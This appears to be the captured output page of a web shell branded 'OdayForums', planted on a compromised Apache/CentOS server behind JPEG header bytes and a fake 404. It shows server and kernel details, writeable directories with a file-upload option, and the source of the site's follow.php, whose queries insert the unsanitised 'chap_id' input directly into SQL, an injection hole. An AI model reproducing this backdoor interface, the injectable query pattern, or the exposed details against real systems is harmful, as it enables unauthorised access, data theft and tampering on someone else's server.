ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/luckymerchan/code/ajax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/luckymerchan/code/ajax/follow.php
<?php
if(!isset($ob_user->user_id) or $ob_user->user_id==0){
    echo 'need_login';
    exit();
}
$chuong_id = $CORE->input['chap_id']??0;
$follow_id = $CORE->input['follow_id']??0;
$follow_id = intval($follow_id);
/*$row_truyen = $DB->fetch_row($DB->query("SELECT truyen_id FROM tb_truyen WHERE chuong_id='$chuong_id' LIMIT 1"));
$truyen_id = $row_truyen['truyen_id'];*/
$row_chuong_check = $DB->fetch_row($DB->query("SELECT * FROM tb_chuong WHERE chuong_id='$chuong_id' "));
$truyen_id = $row_chuong_check['truyen_id'];
$row_chuong = $DB->fetch_row($DB->query("SELECT * FROM tb_chuong WHERE truyen_id='$truyen_id' ORDER BY chuong_pos DESC LIMIT 1 "));
$arr_insert = array('truyen_id'=>$row_chuong['truyen_id'],'chuong_id'=>$chuong_id,'user_id'=>intval($ob_user->user_id),'follow_ip'=>$ip,'date_post'=>date('Y-m-d'),'time_post'=>time(),'already_read'=>'','chuong_pos'=>$row_chuong['chuong_pos']);
if(isset($ob_user->user_id) and intval($ob_user->user_id)>0){
    $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_follow WHERE truyen_id='".$row_chuong['truyen_id']."' AND (user_id='".intval($ob_user->user_id)."' OR follow_ip='$ip') LIMIT 1"));
}else{
    $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_follow WHERE truyen_id='".$row_chuong['truyen_id']."' AND follow_ip='$ip' LIMIT 1"));
}

if(!$row_check){
    $DB->do_insert('tb_follow',$arr_insert);
    $res = 'follow';
}else{
    if(isset($ob_user->user_id) and intval($ob_user->user_id)>0){
        $DB->query("DELETE FROM tb_follow WHERE truyen_id='".$row_chuong['truyen_id']."' AND user_id='".intval($ob_user->user_id)."' ");
    }else{
        $DB->query("DELETE FROM tb_follow WHERE truyen_id='".$row_chuong['truyen_id']."' AND  (follow_ip='$ip' or follow_id='$follow_id') ");
    }
    $res = 'unfollow';
}
$row_total = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_follow WHERE truyen_id='".$row_chuong['truyen_id']."' "));
$DB->query("UPDATE tb_truyen SET truyen_theodoi='".$row_total['total']."' WHERE truyen_id='".$row_chuong['truyen_id']."' ");
echo $res.'@'.$row_total['total'];
exit();
?>

ZeroDay Forums Mini